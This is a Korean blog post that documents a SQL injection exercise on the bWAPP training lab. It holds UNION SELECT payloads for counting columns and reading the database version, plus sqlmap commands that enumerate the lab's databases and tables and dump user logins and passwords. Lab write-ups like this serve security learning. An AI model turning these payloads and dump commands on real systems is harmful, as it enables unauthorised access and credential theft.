Web hacking

bWAPP 15. SQL Injection (POST Select)

taktaks 2022. 2. 7. 23:58

                                SQL Injection (POST Select)

 

SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여

데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다.

SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.

악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법

 

 

 

Post 방식을 사용하며, 이번에는 Go를 눌르는 창이 나타나는 것을 확인.

burpsuite를 캡쳐한 결과 movie변수가 있다는 것을 확인

 

 

[ 공격 가능 확인 ]

입력 값 : '

'입력시에 문법 오류가 발생하는 것을 확인했다.

 

 

 

 

 

 

 

컬럼 수 확인 ]

 

결과 값 : UNION SELECT ALL 1#

             UNION SELECT ALL 1, 2#

             UNION SELECT ALL 1, 2, 3#

             UNION SELECT ALL 1, 2, 3, 4#

             UNION SELECT ALL 1, 2, 3, 4, 5#

             UNION SELECT ALL 1, 2, 3, 4, 5, 6#

 

모두 에러가 낫다.

결과 값 :  UNION SELECT ALL 1, 2, 3, 4, 5, 6, 7# 

7번째에는 성공하여서칼럼이 7개인것을 확인.

 

 

 

데이터 베이스 버전 확인]

 

 

입력 값 : movie=0 UNION SELECT ALL 1, @@version,3,4,5,6,7#&action=go

5.0.96-0ubuntu3 버전을 사용하고있는 것을 확인하였다.

 

 

 

 

테이블 명 확인 ]

테이블에서 사용하고 있는 테이블 명을 확인하였다.

 

하지만 확인할 수 있는 정보가 많지 않으므로 sqlmap을 사용한다.

 

 

 

 

------------sqlmap --------------

 

 

[ dbs명 확인 ]

 

sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1" --dbs

 

 

 

 

 

[ bwapp 테이블 명 확인 ]

 

 

sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1&action=go" -p "movie" -D bWAPP --tables

 

 

 

 

 

 

 

 

 

[ bwapp users테이블에 컬럼명 확인 ]

 

sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1&action=go" -p "movie" -D bWAPP -T users --column

 

 

 

 

[ id, password,login 정보 추출]

 

sqlmap -v 3 -u " http://192.168.1.44/bWAPP/sqli_13.php " --cookie="security_level=0; PHPSESSID=4ff0f1c08403fc8c67279f9ab704e5cf" --data "movie=1&action=go" -p "movie" -D bWAPP -T users -C id,login,password --dump